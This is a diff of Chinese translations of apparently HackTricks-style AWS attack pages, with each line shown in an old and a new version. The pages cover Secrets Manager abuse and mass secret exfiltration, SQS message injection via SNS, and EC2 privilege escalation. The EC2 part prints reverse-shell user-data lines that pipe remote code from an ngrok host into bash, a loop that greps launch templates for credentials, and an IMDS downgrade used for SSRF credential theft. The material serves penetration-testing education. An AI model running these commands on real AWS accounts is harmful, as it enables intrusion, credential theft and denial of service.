如果攻击者拥有 secretsmanager:UpdateSecret 权限,他们可以将 secret 配置为使用由攻击者拥有的 KMS key。该密钥在初始设置时允许任何人访问和使用,因此可以使用该新密钥更新 secret。如果该密钥不可访问,则无法更新 secret。
|
||||
如果攻击者拥有 secretsmanager:UpdateSecret 权限,他们可以将 secret 配置为使用由攻击者拥有的 KMS key。该 key 最初被设置为任何人都可以访问和使用,因此可以使用新 key 更新 secret。如果该 key 无法访问,就无法更新 secret。
|
||||
|
||||
在为 secret 更改密钥之后,攻击者修改他们的密钥配置,使只有他们自己可以访问。这样,secret 的后续版本将使用新的密钥加密,由于他人无法访问该密钥,检索 secret 的能力将丧失。
|
||||
在为 secret 更改 key 之后,攻击者修改其 key 的配置,使只有他们自己可以访问。这样,在 secret 的后续版本中,内容会用新 key 加密,由于无法访问该 key,检索 secret 的能力将丧失。
|
||||
|
||||
需要注意的是,这种不可访问性只会发生在后续版本,也就是 secret 内容变更之后,因为当前版本仍然使用原始 KMS key 加密。
|
||||
需要注意的是,这种不可访问性只会出现在后续版本(即 secret 内容发生变化之后),因为当前版本仍然使用原始 KMS key 加密。
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
@@ -40,7 +40,7 @@ aws secretsmanager update-secret \
|
||||
```
|
||||
### DoS Deleting Secret
|
||||
|
||||
删除 secret 的最短等待天数为 7 天
|
||||
删除 secret 的最小等待天数为 7 天
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
@@ -48,29 +48,29 @@ aws secretsmanager delete-secret \
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
可以恢复 secret,这允许恢复已被安排删除的 secret,因为 secret 的最短删除周期为 7 天,最长为 30 天。结合 secretsmanager:GetSecretValue 权限,就可以检索它们的内容。
|
||||
可以恢复 secret,这允许恢复已被标记为删除的 secrets,因为 secrets 的最短删除期为 7 天,最长为 30 天。结合 secretsmanager:GetSecretValue 权限,这就可以检索它们的内容。
|
||||
|
||||
要恢复正在被删除的 secret,你可以使用以下命令:
|
||||
要恢复处于删除过程中的 secret,可以使用以下命令:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
此操作允许删除控制谁可以访问 secret 的资源策略。如果该资源策略被配置为允许特定用户集合访问,则可能导致 DoS。
|
||||
此操作允许删除控制谁可以访问 secret 的 resource policy。这可能导致 DoS,如果该 resource policy 被配置为仅允许特定一组用户访问。
|
||||
|
||||
要删除资源策略:
|
||||
要删除 resource policy:
|
||||
```bash
|
||||
aws secretsmanager delete-resource-policy \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
secret 的状态用于管理 secret 的版本。AWSCURRENT 标记应用程序使用的活动版本,AWSPREVIOUS 保存前一个版本以便在必要时回滚,AWSPENDING 在轮换过程中用于准备和验证新版本,然后将其设为当前版本。
|
||||
secret 的状态用于管理其版本。AWSCURRENT 标记应用程序使用的活动版本,AWSPREVIOUS 保留前一个版本以便在必要时回滚,AWSPENDING 在轮换过程中用于准备并验证新版本,然后再将其设为当前版本。
|
||||
|
||||
应用程序始终读取标记为 AWSCURRENT 的版本。如果有人将该标签移动到错误的版本,应用将使用无效的凭证并可能失败。
|
||||
应用程序始终读取带有 AWSCURRENT 的版本。如果有人把该标签移动到错误的版本,应用将使用无效凭证并可能失败。
|
||||
|
||||
AWSPREVIOUS 不会被自动使用。然而,如果 AWSCURRENT 被移除或错误地重新分配,表面上可能看起来一切仍在使用前一个版本运行。
|
||||
AWSPREVIOUS 不会被自动使用。然而,如果 AWSCURRENT 被移除或错误地重新分配,可能看起来一切仍在使用之前的版本运行。
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
@@ -78,24 +78,18 @@ aws secretsmanager update-secret-version-stage \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Mass Secret Exfiltration via BatchGetSecretValue(每次最多 20 个)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### 使用 BatchGetSecretValue 批量导出 secrets(每次最多 20 个)
|
||||
|
||||
滥用 Secrets Manager 的 BatchGetSecretValue API,在单个请求中检索最多 20 个 secrets。与对每个 secret 逐个调用 GetSecretValue 相比,这可以显著减少 API 调用次数。如果使用 filters(tags/name),还需要 ListSecrets 权限。CloudTrail 仍会为批量中检索到的每个 secret 记录一条 GetSecretValue 事件。
|
||||
滥用 Secrets Manager 的 BatchGetSecretValue API 在单个请求中检索最多 20 个 secrets。与对每个 secret 逐一调用 GetSecretValue 相比,这可以显著减少 API 调用量。如果使用 filters(tags/name),还需要 ListSecrets 权限。CloudTrail 仍会为批量中检索的每个 secret 记录一条 GetSecretValue 事件。
|
||||
|
||||
Required permissions
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue(针对每个目标 secret)
|
||||
- secretsmanager:ListSecrets(如果使用 --filters)
|
||||
- kms:Decrypt(针对 secrets 使用的 CMKs,如果未使用 aws/secretsmanager)
|
||||
- kms:Decrypt(对 secrets 使用的 CMKs;若使用 aws/secretsmanager 则不需要)
|
||||
|
||||
> [!WARNING]
|
||||
> 注意:仅拥有 `secretsmanager:BatchGetSecretValue` 权限不足以检索 secrets,您还需要为每个要检索的 secret 授予 `secretsmanager:GetSecretValue` 权限。
|
||||
> 请注意,权限 `secretsmanager:BatchGetSecretValue` 本身不足以检索 secrets,你还需要对每个要检索的 secret 拥有 `secretsmanager:GetSecretValue` 权限。
|
||||
|
||||
Exfiltrate by explicit list
|
||||
```bash
|
||||
@@ -103,7 +97,7 @@ aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
通过过滤器(按标签键/值或名称前缀)进行外传
|
||||
通过过滤器(tag key/value 或 name prefix)进行外传
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
@@ -126,5 +120,6 @@ aws secretsmanager batch-get-secret-value \
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
影响
|
||||
- 迅速的 “smash-and-grab” 获取大量 secrets,使用更少的 API 调用,可能绕过针对 GetSecretValue 激增而调整的告警。
|
||||
- CloudTrail 日志仍然会为批量检索的每个 secret 记录一条 GetSecretValue 事件。
|
||||
- 使用更少的 API 调用快速对大量 secret 进行 “smash-and-grab”,可能绕过针对 GetSecretValue 突增而调整的告警。
|
||||
- CloudTrail 日志仍会包含批量检索的每个 secret 的一个 GetSecretValue 事件。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
|
||||
# AWS – 通过 SNS 订阅 + 队列策略 对 SQS 实现 跨/同 账户 注入
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Description
|
||||
## 描述
|
||||
|
||||
滥用 SQS 队列的 resource policy,让攻击者控制的 SNS topic 能向受害者的 SQS 队列发布消息。在同一账户内,SQS 对 SNS topic 的订阅会自动确认;在跨账户场景中,必须从队列中读取 SubscriptionConfirmation token 并调用 ConfirmSubscription。此操作允许未经请求的消息注入,而下游消费者可能会默认信任这些消息。
|
||||
滥用 SQS 队列资源策略,使攻击者控制的 SNS 主题能够向受害者的 SQS 队列发布消息。在同一账户内,SQS 对 SNS 主题的订阅会自动确认;在跨账户场景下,必须从队列中读取 SubscriptionConfirmation token 并调用 ConfirmSubscription。这样可以实现不可靠的消息注入,下游消费者可能会错误地信任这些消息。
|
||||
|
||||
### Requirements
|
||||
- 能修改目标 SQS 队列的 resource policy:在受害者队列上具有 `sqs:SetQueueAttributes` 权限。
|
||||
- 能创建/发布到攻击者控制的 SNS topic:在攻击者账户/主题上具有 `sns:CreateTopic`、`sns:Publish` 和 `sns:Subscribe` 权限。
|
||||
- 仅跨账户:临时在受害者队列上具有 `sqs:ReceiveMessage`,以读取确认 token 并调用 `sns:ConfirmSubscription`。
|
||||
### 要求
|
||||
- 能够修改目标 SQS 队列的资源策略:在受害者队列上具有 `sqs:SetQueueAttributes` 权限。
|
||||
- 能够在攻击者控制下创建/发布到 SNS 主题:在攻击者账户/主题上具有 `sns:CreateTopic`、`sns:Publish` 和 `sns:Subscribe` 权限。
|
||||
- 仅跨账户:在受害者队列上临时拥有 `sqs:ReceiveMessage`,以读取确认令牌并调用 `sns:ConfirmSubscription`。
|
||||
|
||||
### Same-account exploitation
|
||||
### 同账户 利用
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create victim queue and capture URL/ARN
|
||||
@@ -44,11 +44,11 @@ aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoin
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
### 跨账户注意事项
|
||||
- 上面的队列策略必须允许来自外部的 `TOPIC_ARN`(攻击者账户)。
|
||||
- 订阅不会自动确认。向自己授予对受害者队列的临时 `sqs:ReceiveMessage` 权限以读取 `SubscriptionConfirmation` 消息,然后使用其 `Token` 调用 `sns confirm-subscription`。
|
||||
### 跨账户 注意事项
|
||||
- 上面的队列策略必须允许外部的 `TOPIC_ARN`(攻击者账户)。
|
||||
- 订阅不会自动确认。授予自己针对受害者队列的临时 `sqs:ReceiveMessage` 权限,以读取 `SubscriptionConfirmation` 消息,然后使用其 `Token` 调用 `sns confirm-subscription`。
|
||||
|
||||
### 影响
|
||||
**潜在影响**: 通过 SNS 不断向受信任的 SQS 队列注入未经请求的消息,可能触发意外的处理、数据污染或工作流滥用。
|
||||
**潜在影响**: 通过 SNS 持续向受信任的 SQS 队列注入未经请求的消息,可能触发意外的处理、数据污染或工作流滥用。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
有关 **EC2 的更多信息**,请查看:
|
||||
欲了解更多 **关于 EC2 的信息**,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,19 +12,19 @@
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
攻击者可以**创建一个实例并附加一个 IAM role,然后访问该实例**,从 metadata endpoint 窃取 IAM role 凭证。
|
||||
攻击者可以**创建一个实例并附加一个 IAM role,然后访问该实例**,从元数据端点窃取 IAM role 凭证。
|
||||
|
||||
- **通过 SSH 访问**
|
||||
|
||||
使用一个**已创建的** **ssh key** (`--key-name`) 来运行一个新实例,然后通过 ssh 登录它(如果你想创建一个新的,你可能需要有权限 `ec2:CreateKeyPair`)。
|
||||
使用已创建的 **ssh key** (`--key-name`) 启动一个新实例,然后通过 ssh 登录该实例(如果你想创建新的 key,可能需要权限 `ec2:CreateKeyPair`)。
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
--security-group-ids <sg-id>
|
||||
```
|
||||
- **Access via rev shell in user data**
|
||||
- **通过 user data 中的 rev shell 访问**
|
||||
|
||||
您可以使用 **user data** (`--user-data`) 启动一个新的实例,该 **user data** 会向您发送一个 **rev shell**。通过这种方式您不需要指定 security group。
|
||||
你可以使用 **user data** (`--user-data`) 启动一个新实例,使其向你发送一个 **rev shell**。通过这种方式你不需要指定 security group。
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance:
|
||||
如果在实例外使用 IAM role 的凭证,请注意 GuradDuty:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** 直接对附加在现有 instance profiles 上的任何 EC2 role 进行 privesc。
|
||||
**潜在影响:** 直接对附加到现有 instance profiles 的任意 EC2 role 进行 privesc。
|
||||
|
||||
#### Privesc 到 ECS
|
||||
#### Privesc to ECS
|
||||
|
||||
通过这组权限,你还可以 **创建一个 EC2 实例并将其注册到 ECS 集群中**。这样,ECS 中的 **服务** 会在你有访问权限的 **EC2 实例** 内 **运行**,然后你可以渗透这些服务(docker 容器),并 **窃取其附加的 ECS roles**。
|
||||
通过这组权限,你还可以**创建一个 EC2 instance 并将其注册到 ECS cluster 中**。这样,ECS **services** 会在你可以访问的 **EC2 instance** 中 **运行**,然后你可以渗透这些服务(docker containers),并**窃取它们附着的 ECS roles**。
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,20 +59,20 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
要学习如何 **force ECS services to be run** 在这个新的 EC2 instance 上,请查看:
|
||||
要了解如何**强制 ECS services 在这个新的 EC2 实例上运行**,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
如果你 **无法创建新实例** 但拥有权限 `ecs:RegisterContainerInstance`,你可能能够在集群内注册该实例并执行前述攻击。
|
||||
如果你**无法创建新的实例**但拥有权限 `ecs:RegisterContainerInstance`,你可能能够将该实例注册到集群中并执行前述攻击。
|
||||
|
||||
**潜在影响:** 直接 privesc 到附加在 tasks 上的 ECS roles。
|
||||
**潜在影响:** 直接对附加到任务的 ECS roles 造成 privesc。
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
与之前的情形类似,拥有这些权限的攻击者可以 **更改已被攻陷实例的 IAM role**,从而窃取新的凭证。\
|
||||
由于 instance profile 只能有 1 个 role,如果 instance profile **已经有 role**(常见情况),你还需要 **`iam:RemoveRoleFromInstanceProfile`**。
|
||||
与前一种情形类似,拥有这些权限的攻击者可以**更改被攻陷实例的 IAM role**,从而窃取新的凭证。\
|
||||
由于 instance profile 只能有 1 个 role,如果 instance profile **已经有一个 role**(常见情况),你还需要 **`iam:RemoveRoleFromInstanceProfile`**。
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
如果 **instance profile 有一个 role** 且攻击者 **无法移除它**,还有另一种变通办法。他可以 **找到** 一个 **没有 role 的 instance profile**,或者 **创建一个新的** (`iam:CreateInstanceProfile`),**将** **role** 添加到该 **instance profile**(如前所述),并**将该 instance profile 关联** 到被入侵的实例:
|
||||
如果 **instance profile has a role** 且攻击者 **cannot remove it**,还有另一种变通方法。他可以 **find** 一个 **instance profile without a role** 或 **create a new one** (`iam:CreateInstanceProfile`),将该 **role** **add** 到该 **instance profile**(如前所述),并将该被占用的 **instance profile** 关联到被攻陷的 i**nstance:**
|
||||
|
||||
- 如果该实例 **没有任何 instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
- 如果该 instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**潜在影响:** 直接 privesc 到不同的 EC2 role(你需要已攻破一台 AWS EC2 instance,并拥有额外权限或特定的 instance profile 状态)。
|
||||
**Potential Impact:** 直接 privesc 到不同的 EC2 role(你需要已攻陷一个 AWS EC2 实例,并且具备一些额外权限或特定的 instance profile 状态)。
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
拥有这些权限可以更改与 instance 关联的 instance profile,因此如果攻击者已经取得对该 instance 的访问权限,他就可以通过更改其关联的 instance profile 来窃取更多 instance profile role 的凭据。
|
||||
拥有这些权限可以更改与实例关联的 instance profile,因此如果攻击者已经取得某个实例的访问权限,他就能够通过替换该实例关联的 instance profile 来窃取更多 instance profile roles 的凭证。
|
||||
|
||||
- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it
|
||||
- 如果它 **有 instance profile**,你可以 **移除** 该 instance profile (`ec2:DisassociateIamInstanceProfile`) 并 **关联** 它
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- 或 **替换** 被入侵的实例的 **instance profile** (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- 或 **替换** 被攻陷的实例的 **实例配置文件** (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**潜在影响:** 直接提权到不同的 EC2 role(你需要已攻破一个 AWS EC2 实例并拥有一些额外权限或特定的 instance profile 状态)。
|
||||
**Potential Impact:** 直接提升权限到不同的 EC2 role(你需要已攻破一台 AWS EC2 实例并拥有一些额外权限或特定的 instance profile 状态)。
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
具有 **`ec2:RequestSpotInstances`and`iam:PassRole`** 权限的攻击者可以**请求**一个带有**EC2 Role attached**的**Spot Instance**,并在**user data** 中放入一个 **rev shell**。\
|
||||
一旦实例运行,他就可以**窃取该 IAM role**。
|
||||
拥有 **`ec2:RequestSpotInstances`和`iam:PassRole`** 权限的攻击者可以 **请求** 一个 **Spot Instance**,附带一个 **EC2 Role attached**,并在 **user data** 中放入一个 **rev shell**。\
|
||||
一旦实例运行,他就可以 **窃取 IAM role**。
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
拥有 **`ec2:ModifyInstanceAttribute`** 的攻击者可以修改实例的属性。其中,他可以 **change the user data**,这意味着他可以让实例 **run arbitrary data**,从而可以获取对 EC2 instance 的 **rev shell**。
|
||||
拥有 **`ec2:ModifyInstanceAttribute`** 的攻击者可以修改实例的属性。其中,他可以**更改 user data**,这意味着他可以使实例**运行任意代码**,从而可用于获得一个 **rev shell to the EC2 instance**。
|
||||
|
||||
请注意,这些属性只能在实例处于停止状态时被**修改**,因此还需要 **权限** **`ec2:StopInstances`** 和 **`ec2:StartInstances`**。
|
||||
注意这些属性只能在实例停止时修改,因此需要 **`ec2:StopInstances`** 和 **`ec2:StartInstances`** 权限。
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**潜在影响:** 直接 privesc 到附加在创建实例上的任何 EC2 IAM Role。
|
||||
**Potential Impact:** 直接对任何附加到已创建实例的 EC2 IAM Role 进行 privesc。
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
拥有权限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** 的攻击者可以创建一个 **new Launch Template version**,在 **user data** 中放入 **rev shell in** 并附加 **any EC2 IAM Role on it**,更改默认版本,任何 **any Autoscaler group** **using** 那个 **Launch Templat**e 且该模板被 **configured** 为使用 **latest** 或 the **default version** 的情况下,都会使用该模板 **re-run the instances** 并执行 rev shell。
|
||||
拥有 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** 权限的攻击者可以创建一个 **新的 Launch Template 版本**,在 **user data** 中放入 **rev shell** 并附加 **任意 EC2 IAM Role**,更改默认版本。任何 **Autoscaler group** **使用** 该 **Launch Template** 且 **配置** 为使用 **latest** 或 **default version** 时,会 **重新运行实例** 并执行该 rev shell。
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**潜在影响:** 直接对另一个 EC2 role 进行 privesc。
|
||||
**Potential Impact:** 直接提权到另一个 EC2 角色。
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
拥有 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** 权限的攻击者可以 **创建 Launch Configuration**,在 **user data** 中 放入 **IAM Role** 和 **rev shell**,然后从该配置 **创建一个 autoscaling group**,并等待 rev shell **窃取 IAM Role**。
|
||||
具有权限 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** 的攻击者可以 **create a Launch Configuration**,在其中放入一个 **IAM Role** 和 位于 **user data** 中的 **rev shell**,然后从该配置 **create an autoscaling group**,并等待 rev shell 去 **steal the IAM Role**。
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
**潜在影响:** 直接 privesc 到不同的 EC2 角色。
|
||||
**Potential Impact:** 直接将 privesc 升级到不同的 EC2 role。
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
一组权限 **`ec2:CreateLaunchTemplate`** 和 **`autoscaling:CreateAutoScalingGroup`** **不足以进行提权** 到 IAM 角色,因为要将 Launch Configuration 或 Launch Template 中指定的角色附加到实例上,您还需要权限 `iam:PassRole` 和 `ec2:RunInstances`(这是一种已知的 privesc)。
|
||||
权限集合 **`ec2:CreateLaunchTemplate`** 和 **`autoscaling:CreateAutoScalingGroup`** **不足以将权限提升** 到一个 IAM 角色,因为要附加在 Launch Configuration 或 Launch Template 中指定的角色,**你需要权限 `iam:PassRole` 和 `ec2:RunInstances`**(这是已知的 privesc)。
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
具有权限 **`ec2-instance-connect:SendSSHPublicKey`** 的攻击者可以向某个用户添加 ssh 密钥,并在拥有对该实例的 ssh 访问权限时使用该密钥进行访问,或借此提权。
|
||||
拥有权限 **`ec2-instance-connect:SendSSHPublicKey`** 的攻击者可以向某个用户添加 ssh 密钥,并使用它进行访问(如果他对实例有 ssh 访问权限)或用于提权。
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**Potential Impact:** 直接对附加到运行实例的 EC2 IAM roles 进行 privesc。
|
||||
**潜在影响:** 直接 privesc 到附加在运行实例上的 EC2 IAM roles。
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
拥有权限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** 的攻击者可以 **向串行连接添加 ssh 密钥**。如果串行未启用,攻击者需要权限 **`ec2:EnableSerialConsoleAccess`** 来启用它。
|
||||
拥有权限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** 的攻击者可以 **将 ssh key 添加到串行控制台连接上**。如果串行控制台未启用,攻击者需要权限 **`ec2:EnableSerialConsoleAccess` 来启用它**。
|
||||
|
||||
要连接到串行端口,你还 **需要知道机器内某个用户的用户名和密码**。
|
||||
要连接到串行端口,您还**需要知道机器内部某个用户的 username 和 password**。
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -231,11 +231,11 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
|
||||
```
|
||||
这种方式对 privesc 并不是很有用,因为你需要知道用户名和密码才能利用它。
|
||||
|
||||
**Potential Impact:**(高度无法证明)直接对附加到 running instances 的 EC2 IAM roles 进行 privesc。
|
||||
**潜在影响:**(很难证实)直接对附加到运行中实例的 EC2 IAM roles 实现 privesc。
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
因为 launch templates 有版本控制,拥有 **`ec2:describe-launch-templates`** 和 **`ec2:describe-launch-template-versions`** 权限的攻击者可以利用这些来发现敏感信息,例如存在于 user data 中的 credentials。为此,下面的脚本会遍历可用 launch templates 的所有版本:
|
||||
由于 launch templates 有版本控制,具有 **`ec2:describe-launch-templates`** 和 **`ec2:describe-launch-template-versions`** 权限的攻击者可以利用它们来发现敏感信息,例如存在于 user data 中的凭证。为此,下面的脚本会遍历所有可用 launch templates 的版本:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -248,29 +248,29 @@ echo
|
||||
done | grep -iE "aws_|password|token|api"
|
||||
done
|
||||
```
|
||||
在上面的命令中,虽然我们指定了某些模式 (`aws_|password|token|api`),你可以使用不同的正则表达式来搜索其他类型的敏感信息。
|
||||
在上面的命令中,虽然我们指定了某些模式(`aws_|password|token|api`),但你可以使用不同的正则来搜索其他类型的敏感信息。
|
||||
|
||||
如果我们找到了 `aws_access_key_id` 和 `aws_secret_access_key`,可以使用这些凭据对 AWS 进行认证。
|
||||
假设我们找到了 `aws_access_key_id` 和 `aws_secret_access_key`,我们可以使用这些凭证来认证到 AWS。
|
||||
|
||||
**潜在影响:** 直接提权到 IAM 用户。
|
||||
**潜在影响:** 直接对 IAM 用户的提权。
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS 降级以启用 SSRF 窃取凭据)
|
||||
|
||||
攻击者如果能够对受害 EC2 实例调用 `ec2:ModifyInstanceMetadataOptions`,可以通过启用 IMDSv1(`HttpTokens=optional`)并增加 `HttpPutResponseHopLimit` 来削弱 IMDS 的防护。这样会使实例元数据端点通过实例上运行的应用程序常见的 SSRF/代理路径可达。如果攻击者能在这样的应用中触发 SSRF,就能检索到 instance profile 凭据 并使用它们进行横向移动。
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS 降级以启用 SSRF 凭证窃取)
|
||||
|
||||
- 所需权限:对目标实例拥有 `ec2:ModifyInstanceMetadataOptions`(以及能够到达/触发该主机上的 SSRF)。
|
||||
- 目标资源:附加了 instance profile(IAM role)的运行中 EC2 实例。
|
||||
攻击者如果能够对受害者的 EC2 实例调用 `ec2:ModifyInstanceMetadataOptions`,可以通过启用 IMDSv1(`HttpTokens=optional`)并增加 `HttpPutResponseHopLimit` 来削弱 IMDS 的防护。这样运行在实例上的应用常见的 SSRF/代理路径就能访问实例元数据端点。如果攻击者能在此类应用中触发 SSRF,就能检索到实例配置文件凭证并利用它们进行横向移动。
|
||||
|
||||
命令示例:
|
||||
- 所需权限:在目标实例上拥有 `ec2:ModifyInstanceMetadataOptions`(以及能够到达/触发宿主上的 SSRF)。
|
||||
- 目标资源:附有 instance profile(IAM role)的运行中 EC2 实例。
|
||||
|
||||
示例命令:
|
||||
```bash
|
||||
# 1) Check current metadata settings
|
||||
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
|
||||
@@ -297,4 +297,5 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
